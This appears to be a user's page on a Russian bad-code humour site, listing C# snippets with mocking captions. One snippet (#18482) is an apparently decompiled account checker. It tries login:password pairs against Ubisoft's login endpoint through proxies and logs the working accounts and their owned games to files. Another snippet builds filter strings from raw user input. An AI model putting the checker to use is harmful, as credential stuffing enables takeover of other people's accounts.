1. Список говнокодов пользователя Psilon

    Всего: 20

  2. C# / Говнокод #19855

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    List<dynamic> reporting = item.company_profile_data?.AnnualFinancialStatementFiles ??
                                              new List<dynamic>();
                    string annual = "";
                    foreach (var report in reporting)
                    {
                        if (report.File != null)
                        {
                            string name = report.File?.Info?.Name;
                            if (name != null) annual = annual + name.Substring(0, name.LastIndexOf('.')) + ", ";
                        }
                    }
                    item.Name = annual;

    П - производительность.

    Psilon, 21 Апреля 2016

    Комментарии (13)
  3. C# / Говнокод #19038

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    private void KbkButtonAvailabilityCheck()
    {
       bttAddKbk.Enabled = !string.IsNullOrWhiteSpace(string.Format("{0}{1}{2}{3}{4}", txtChapter.Text, txtSection.Text, txtArticle.Text, txtKind.Text, txtKOSGU.Text));
    }

    Проверяем, есть ли данные хотя бы в одной строке

    Psilon, 18 Ноября 2015

    Комментарии (0)
  4. C# / Говнокод #18989

    +3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    public object Synchronous( 
    Func<object,object,object,object,object   ,object   ,object  ,object, object  , object , object  , object, object  , object, object, object, object>   func,
     
    object argument1,     object argument2,     object argument3,     object argument4   ,
    object argument5,     object argument6 ,    object argument7,     object argument8  ,
    object argument9,     object argument10 ,  object argument11 ,  object argument12 ,
    object argument13 ,  object argument14 ,  object argument15 ,  object argument16)

    Человек написал сверх-полезную библиотеку для асинхронного программирования. Практически все методы выглядят так.

    Psilon, 09 Ноября 2015

    Комментарии (45)
  5. C# / Говнокод #18482

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    public void probnik(string login, string pass)
            {
                EventHandler method = null;
                try
                {
                    string str = string.Empty;
                    int num = 0;
                    CookieCollection cookies = new CookieCollection();
                Label_0033:
                    try
                    {
                        IProxy proxy;
                        if (this.useproxy.Checked)
                        {
                            goto Label_00A2;
                        }
                        string str5 = "POST";
                        CookieCollection cookies3 = cookies;
                        str = Convert.ToString(VkRequest.Request("https://authentication-ui.ubi.com/?genomeId=78443d75-7a0e-461f-aa64-edf2be804ce2&lang=en-GB&nextUrl=http%3A%2F%2Fuplay.ubi.com%2Fen-GB%2Findex%2Floggedin&revalidate=True", "__RequestVerificationToken=&Email=" + login + "&AuthPassword=" + pass + "&RememberMe=false", str5, false, false, cookies3, null, new HTTPHeaderItem[0]).Headers);
                    Label_0089:
                        if (str.Contains("Set-Cookie") || (num == 1))
                        {
                            goto Label_011C;
                        }
                        num++;
                        goto Label_0033;
                    Label_00A2:
                        proxy = this.proxies[this.r.Next(this.proxies.Count)];
                        CookieCollection cookies2 = cookies;
                        string str4 = "POST";
                        str = Convert.ToString(VkRequest.Request("https://authentication-ui.ubi.com/?genomeId=78443d75-7a0e-461f-aa64-edf2be804ce2&lang=en-GB&nextUrl=http%3A%2F%2Fuplay.ubi.com%2Fen-GB%2Findex%2Floggedin&revalidate=True", "__RequestVerificationToken=&Email=" + login + "&AuthPassword=" + pass + "&RememberMe=false", str4, false, false, cookies2, proxy, new HTTPHeaderItem[0]).Headers);
                        goto Label_0089;
                    }
                    catch
                    {
                        goto Label_0033;
                    }
                Label_011C:
                    if (str.Contains("UBIAuth"))
                    {
                        if (method == null)
                        {
                            method = delegate(object sender, EventArgs e)
                            {
                                this.goodslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.goodslabel.Text) + 1));
                                File.AppendAllText(Program.time + "//UBI(в который зашел аккаунт).txt", login + ":" + pass + "\r\n");
                            };
                        } //смотрим какие игры
                        base.Invoke(method);
                        string str7 = "GET";
                        CookieCollection cookies4 = cookies;
                        HTTPHeaderItem[] additionalHeaders = new HTTPHeaderItem[] { 
                        new HTTPHeaderItem("X-Requested-With", "XMLHttpRequest"), 
                        new HTTPHeaderItem("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104")
                        };
                        string str3 = Convert.ToString(VkRequest.Request("http://uplay.ubi.com/en-GB/games/get-games/filterType/owned/filterValue/onlyOwned", (string)null, str7, false, false, cookies4, null, additionalHeaders).Content);
     
                        string games = string.Empty;
                        string platform = string.Empty;
     
                        if (str3.Contains("name"))
                        {
                            games = this.parse(str3, "\"g2wEnabled\":\"1\",\"name\":\"", "\"", "");
                            platform = parse(str3, "platforms\":", ",\"", "");
     
                            Invoke(new EventHandler(delegate
                            {
                                if (soundgood.Checked)
                                {
                                    System.Console.Beep(1000, 500);
                                }
                                int k = games.Split('\n').Count();
                                this.GridLog.Rows.Add(new object[] { login, pass, k.ToString() });
                                File.AppendAllText(Program.time + "//с игрой.txt", login + ":" + pass + "\r\n" + " ====Games====" + "\r\n" + games + "|" + platform + "\r\n" + " ==============" + "\r\n");
                                this.checks.Text = Convert.ToString((int)(Convert.ToInt32(this.checks.Text) + 1));
                            }));
                        }
                        else
                        {
                            Invoke(new EventHandler(delegate
                            {
                                this.badslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.badslabel.Text) + 1));
                            }));
                        }
     
     
                    }
                    else
                    {
                        Invoke(new EventHandler(delegate
                        {
                            this.badslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.badslabel.Text) + 1));
                        }));
                    }
                }
                catch
                {
                }
            }

    Отсылаем Get-запросы

    Psilon, 15 Июля 2015

    Комментарии (0)
  6. C# / Говнокод #17965

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    private void SetTime(DateTime DateAndTime)
            {
                if (SelectedTimeFormat == TimeFormat.Twelve)
                {
                    Hour = Convert.ToInt32(DateAndTime.ToString("hh", DateTimeFormatInfo.InvariantInfo));
                    AmPm = (DateAndTime.ToString("tt", DateTimeFormatInfo.InvariantInfo) == "AM")
                               ? AmPmSpec.AM
                               : AmPmSpec.PM;
                }
                else
                {
                    Hour = Convert.ToInt32(DateAndTime.ToString("HH", DateTimeFormatInfo.InvariantInfo));
                }
                Minute = Convert.ToInt32(DateAndTime.ToString("mm", DateTimeFormatInfo.InvariantInfo));
                Second = AllowSecondEditing
                             ? Convert.ToInt32(DateAndTime.ToString("ss", DateTimeFormatInfo.InvariantInfo))
                             : 0;
                string str = (Minute.ToString().Length == 1) ? ("0" + Minute) : Minute.ToString();
                ViewState["Date"] = Convert.ToDateTime(ViewState["Date"]).ToShortDateString() + " " + Hour + ":" + str +
                                    ":00 " + AmPm;
            }

    Записываем текущие дату и время в вьюстейт...

    Psilon, 09 Апреля 2015

    Комментарии (0)
  7. C# / Говнокод #17960

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    if (textBox[0].Text == "" && textBox[1].Text == "" && textBox[2].Text == "" && textBox[3].Text == "" && textBox[4].Text == "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("");
    else if (textBox[0].Text != "" && textBox[1].Text == "" && textBox[2].Text == "" && textBox[3].Text == "" && textBox[4].Text == "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("[surname] LIKE '%{0}%'", textBox[0].Text);
    else if (textBox[0].Text == "" && textBox[1].Text != "" && textBox[2].Text == "" && textBox[3].Text == "" && textBox[4].Text == "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("[name] LIKE '%{0}%'", textBox[1].Text);
    else if (textBox[0].Text == "" && textBox[1].Text == "" && textBox[2].Text != "" && textBox[3].Text == "" && textBox[4].Text == "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("[midname] LIKE '%{0}%'", textBox[2].Text);
    else if (textBox[0].Text == "" && textBox[1].Text == "" && textBox[2].Text == "" && textBox[3].Text != "" && textBox[4].Text == "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("course={0}", textBox[3].Text);
    else if (textBox[0].Text == "" && textBox[1].Text == "" && textBox[2].Text == "" && textBox[3].Text == "" && textBox[4].Text != "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("group={0}", textBox[4].Text);
    else if (textBox[0].Text != "" && textBox[1].Text != "" && textBox[2].Text == "" && textBox[3].Text == "" && textBox[4].Text == "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("[surname] LIKE '%{0}%' and [name] LIKE '%{1}%'", textBox[0].Text, textBox[1].Text);
    else if (textBox[0].Text == "" && textBox[1].Text != "" && textBox[2].Text != "" && textBox[3].Text == "" && textBox[4].Text == "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("[name] LIKE '%{0}%' and [midname] LIKE '%{1}%'", textBox[1].Text, textBox[2].Text);
    else if (textBox[0].Text == "" && textBox[1].Text == "" && textBox[2].Text != "" && textBox[3].Text != "" && textBox[4].Text == "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("[midname] LIKE '%{0}%' and course={1}", textBox[2].Text, textBox[3].Text);
    else if (textBox[0].Text == "" && textBox[1].Text == "" && textBox[2].Text == "" && textBox[3].Text != "" && textBox[4].Text != "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("course={0} and group={1}", textBox[3].Text, textBox[4].Text);
    else if (textBox[0].Text != "" && textBox[1].Text != "" && textBox[2].Text != "" && textBox[3].Text == "" && textBox[4].Text == "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("[surname] LIKE '%{0}%' and [name] LIKE '%{1}%' and [midname] LIKE '%{2}%'", textBox[0].Text, textBox[1].Text, textBox[2].Text);
    else if (textBox[0].Text == "" && textBox[1].Text != "" && textBox[2].Text != "" && textBox[3].Text != "" && textBox[4].Text == "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("[name] LIKE '%{0}%' and [midname] LIKE '%{1}%' and course={2}", textBox[1].Text, textBox[2].Text, textBox[3].Text);
    else if (textBox[0].Text == "" && textBox[1].Text == "" && textBox[2].Text != "" && textBox[3].Text != "" && textBox[4].Text != "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("[midname] LIKE '%{0}%' and course={1} and group={2}", textBox[2].Text, textBox[3].Text, textBox[4].Text);
    else if (textBox[0].Text != "" && textBox[1].Text != "" && textBox[2].Text != "" && textBox[3].Text != "" && textBox[4].Text == "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("[surname] LIKE '%{0}%' and [name] LIKE '%{1}%' and [midname] LIKE '%{2}%' and course={3}", textBox[0].Text, textBox[1].Text, textBox[2].Text, textBox[3].Text);
    else if (textBox[0].Text == "" && textBox[1].Text != "" && textBox[2].Text != "" && textBox[3].Text != "" && textBox[4].Text != "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("[name] LIKE '%{0}%' and [midname] LIKE '%{1}%' and course={2} and group={3}", textBox[1].Text, textBox[2].Text, textBox[3].Text, textBox[4].Text);
    else if (textBox[0].Text != "" && textBox[1].Text != "" && textBox[2].Text != "" && textBox[3].Text != "" && textBox[4].Text != "")
        myViewStudentsTable.DefaultView.RowFilter = string.Format("[surname] LIKE '%{0}%' and [name] LIKE '%{1}%' and [midname] LIKE '%{2}%' and course={3} and group={4}", textBox[0].Text, textBox[1].Text, textBox[2].Text, textBox[3].Text, textBox[4].Text);

    "Есть 5 текстовых полей и желание понять, как можно в зависимости от пустоты или заполненности этих полей, одного или нескольких создать малое количество операторов if else"

    Порадовало "малое количество"

    Psilon, 08 Апреля 2015

    Комментарии (50)
  8. C# / Говнокод #17756

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    int a,b,c,d,e,f, k = 1;
     
     
     
     
                for (a = 0; a < 9; a++)
                    for (b = 0; b < 9; b++)
                        for (c = 0; c < 9; c++)
     
                            for (d = 0; d < 9; d++)
                                for (e = 0; e < 9; e++)
                                    for (f = 0; f < 9; f++)
                        {
                            if (a + b + c == d + e + f && a+b+c == 13)
                                k = k + 1;
                        }
      
     
     
                Console.WriteLine("кол-во комбинаций: " + k + " ");
                Console.WriteLine("кол-во билетов: " + k * k);

    Очередные лабы... God, whyyy...

    Psilon, 09 Марта 2015

    Комментарии (30)
  9. C# / Говнокод #17393

    +97

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    using System;
    using Microsoft.Win32;
     
    namespace Reester
    {
        class Program
        {
            static void Main(string[] args)
            {
                RegCreatySubKey();
            }
     
            private static void RegCreatySubKey()
            {
                RegistryKey regKey = Registry.LocalMachine;
                string[] shell = new[] { "SOFTWARE", "Microsoft", "Windows", "CurrentVersion", "Explorer", "CommandStore", "shell" };
     
                string prog = "Programma";
    1)            using (regKey = Registry.LocalMachine.OpenSubKey(shell[0],true))// тут regKey равно{HKEY_LOCAL_MACHINE}
    2)                {                                                    //сдеть уже regKey   равно {HKEY_LOCAL_MACHINE\SOFTWARE}
     
     
    3)                    if (regKey != null)//и тут уже regkey равно Null.А дальше программа не идет.
                        {
                            using (regKey = Registry.LocalMachine.OpenSubKey(shell[1], true))
                            {
                                if (regKey != null)
                                {
                                    using (regKey = Registry.LocalMachine.OpenSubKey(shell[2], true))
                                    {
                                        if (regKey != null)
                                        {
                                            using (regKey = Registry.LocalMachine.OpenSubKey(shell[3], true))
                                            {
                                                if (regKey != null)
                                                {
                                                    using (regKey = Registry.LocalMachine.OpenSubKey(shell[4], true))
                                                    {
                                                        if (regKey != null)
                                                        {
                                                            using (regKey = Registry.LocalMachine.OpenSubKey(shell[5], true))
                                                                
                                                            {
                                                                if (regKey != null)
                                                                {
                                                                    using (regKey = Registry.LocalMachine.OpenSubKey(shell[6], true))
                                                                    {
                                                                        if (regKey != null)
                                                                        {
                                                                            regKey.CreateSubKey(prog);
                                                                        }
                                                                    }
                                                                 }
     
                                                              }
                                                          }
                                                      }
                                                    }
                                                 }
                                               }
                                            }
                                          }
                                        }
                                     }
                                  }
                              }
                        
                       }
                  }

    Работаем с реестром

    Psilon, 31 Декабря 2014

    Комментарии (15)
  10. C# / Говнокод #14348

    +141

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    private void pictureBox1_Paint(object sender, PaintEventArgs e)
             {
               //Перегруженый метод Paint
     
                //Если нужно будет работать с графиксом в других методах (рисовать на нем в других методах)
                //сделайте его глобальным
                //Graphics gr = this.CreateGraphics();//Создаем объект графикс из окна
     
                 Graphics gr = e.Graphics;
                int w = this.ClientSize.Width;//размеры клиентской области
                int h = this.ClientSize.Height;//размеры клиентской области
                
                int widthLines = 20;//Ширина клетки
                int heightLines = 20;//Высота клетки
                for(int i = 0; i < w; i += widthLines)
                {
                    //Вертикальные линии
                    gr.DrawLine(new Pen(Brushes.Blue), new Point(i + widthLines, 0), new Point(i + widthLines, h));
                    //Горизонтальные линии
                    gr.DrawLine(new Pen(Brushes.Blue), new Point(0, i + heightLines), new Point(w, i + heightLines));
                }
          
              
               //Graphics gr = e.Graphics;
     
                graf_func();
                 
                Pen p = new Pen(Color.Red, 3);// цвет линии и ширина
     
                Point p1 = new Point(10, data_graf_x[0]);// первая точка
                Point p2 = new Point(20, data_graf_x[1]);// вторая точка  1-y 2-x 1
                Point p3 = new Point(30, data_graf_x[2]);// вторая точка  1-y 2-x 2
                Point p4 = new Point(40, data_graf_x[3]);// вторая точка  1-y 2-x 3
                Point p5 = new Point(50, data_graf_x[4]);// вторая точка  1-y 2-x
                Point p6 = new Point(60, data_graf_x[5]);// вторая точка  1-y 2-x
                Point p7 = new Point(70, data_graf_x[6]);// вторая точка  1-y 2-x
                Point p8 = new Point(80, data_graf_x[7]);// вторая точка  1-y 2-x
                Point p9 = new Point(90, data_graf_x[8]);// вторая точка  1-y 2-x
                Point p10 = new Point(100, data_graf_x[9]);// вторая точка  1-y 2-x
                Point p11 = new Point(110, data_graf_x[10]);// вторая точка  1-y 2-x
                Point p12 = new Point(120, data_graf_x[11]);// вторая точка  1-y 2-x
                Point p13 = new Point(130, data_graf_x[12]);// вторая точка  1-y 2-x
                Point p14 = new Point(140, data_graf_x[13]);// вторая точка  1-y 2-x
                Point p15 = new Point(150, data_graf_x[14]);// вторая точка  1-y 2-x
                Point p16 = new Point(160, data_graf_x[15]);// вторая точка  1-y 2-x
                Point p17 = new Point(170, data_graf_x[16]);// вторая точка  1-y 2-x
                Point p18 = new Point(180, data_graf_x[17]);// вторая точка  1-y 2-x
                Point p19 = new Point(190, data_graf_x[18]);// вторая точка  1-y 2-x
                Point p20 = new Point(200, data_graf_x[19]);// вторая точка  1-y 2-x
                Point p21 = new Point(210, data_graf_x[20]);// вторая точка  1-y 2-x
                Point p22 = new Point(220, data_graf_x[21]);// первая точка
                Point p23 = new Point(230, data_graf_x[22]);// вторая точка  1-y 2-x 1
                Point p24 = new Point(240, data_graf_x[23]);// вторая точка  1-y 2-x 2
                Point p25 = new Point(250, data_graf_x[24]);// вторая точка  1-y 2-x 3
                Point p26 = new Point(260, data_graf_x[25]);// вторая точка  1-y 2-x
                Point p27 = new Point(270, data_graf_x[26]);// вторая точка  1-y 2-x
                Point p28 = new Point(280, data_graf_x[27]);// вторая точка  1-y 2-x
                Point p29 = new Point(290, data_graf_x[28]);// вторая точка  1-y 2-x
                Point p30 = new Point(300, data_graf_x[29]);// вторая точка  1-y 2-x
     
                Point p31 = new Point(310, data_graf_x[30]);// вторая точка  1-y 2-x
     
                //...
    
                Point p180 = new Point(900, data_graf_y[89]);// вторая точка  1-y 2-x
     
                Point[]  my_point = 
                {
                 p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15,p16,p17,p18,p19,p20,p21,p22,p23,p24,p25,p26,p27,p28,p29,p30,  
                 p31,p32,p33,p34,p35,p36,p37,p38,p39,p40,p41,p42,p43,p44,p45,p46,p47,p48,p49,p50,p51,p52,p53,p54,p55,p56,p57,p58,p59,p60,  
                 p61,p62,p63,p64,p65,p66,p67,p68,p69,p70,p71,p72,p73,p74,p75,p76,p77,p78,p79,p80,p81,p82,p83,p84,p85,p86,p87,p88,p89,p90
                };
     
                Point[] my_point1 = 
                {
                 p91,p92,p93,p94,p95,p96,p97,p98,p99,p100,p101,p102,p103,p104,p105,p106,p107,p108,p109,p110,p111,p112,p113,p114,p115,p116,p117,p118,p119,p120,  
                 p121,p122,p123,p124,p125,p126,p127,p128,p129,p130,p131,p132,p133, p134,p135,p136,p137,p138,p139,p140,p141,p142,p143,p144,p145,p146,p147,p148,p149,p150,  
                 p151,p152,p153,p154,p155,p156,p157,p158,p159,p160,p161,p162,p163,p164,p165,p166,p167,p168,p169,p170,p171,p172,p173,p174,p175,p176,p177,p178,p179,p180
                };

    p180... мама дорогая... Боюсб даже представить, сколько временина это ушло, не говоря про ресурс клавиш ctlr, c и v.

    При попытке добавить хотя бы 100 строк (из 200) пишет "Такой длинный код врядли может быть смешным. Пожалуйста, ограничьтесь сотней строк и 6000 символами."
    Даже забавно

    источник творения
    http://www.cyberforum.ru/csharp-beginners/thread1069910.html

    Psilon, 13 Января 2014

    Комментарии (221)
  11. C# / Говнокод #14334

    +141

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    using System;
    using System.Globalization;
    using System.IO;
     
    namespace CyberForumTasks
    {
        class Program
        {
            static void Main()
            {
                var text = File.ReadAllText("C:\\test.txt");
     
                for (var i = 0; i < text.Length - 1; i++)
                {
                    if (text[i].ToString(CultureInfo.InvariantCulture).Contains("1"))
                        if (text[i + 1].ToString(CultureInfo.InvariantCulture).Contains("0"))
                            if (text[i + 2].ToString(CultureInfo.InvariantCulture).Contains("1"))
                                Console.Write("101");
     
                    if (text[i].ToString(CultureInfo.InvariantCulture).Contains("1"))
                        if (text[i + 1].ToString(CultureInfo.InvariantCulture).Contains("1"))
                            if (text[i + 2].ToString(CultureInfo.InvariantCulture).Contains("0"))
                                Console.Write("110");
     
                    if (text[i].ToString(CultureInfo.InvariantCulture).Contains("1"))
                        if (text[i + 1].ToString(CultureInfo.InvariantCulture).Contains("1"))
                            if (text[i + 2].ToString(CultureInfo.InvariantCulture).Contains("1"))
                                Console.Write("111");
     
                    if (text[i].ToString(CultureInfo.InvariantCulture).Contains("1"))
                        if (text[i + 1].ToString(CultureInfo.InvariantCulture).Contains("0"))
                            if (text[i + 2].ToString(CultureInfo.InvariantCulture).Contains("0"))
                                if (text[i + 3].ToString(CultureInfo.InvariantCulture).Contains("0"))
                                    Console.Write("1000");
     
                    if (text[i].ToString(CultureInfo.InvariantCulture).Contains("1"))
                        if (text[i + 1].ToString(CultureInfo.InvariantCulture).Contains("0"))
                            if (text[i + 2].ToString(CultureInfo.InvariantCulture).Contains("0"))
                                if (text[i + 3].ToString(CultureInfo.InvariantCulture).Contains("1"))
                                    Console.Write("1001");
     
                    if (text[i].ToString(CultureInfo.InvariantCulture).Contains("1"))
                        if (text[i + 1].ToString(CultureInfo.InvariantCulture).Contains("0"))
                            if (text[i + 2].ToString(CultureInfo.InvariantCulture).Contains("1"))
                                if (text[i + 3].ToString(CultureInfo.InvariantCulture).Contains("0"))
                                    Console.Write("1010");
                }
            }
        }
    }

    Дан файл целых чисел. Продублировать в нем все числа, принадлежащие диапазону 5..10.

    Psilon, 09 Января 2014

    Комментарии (32)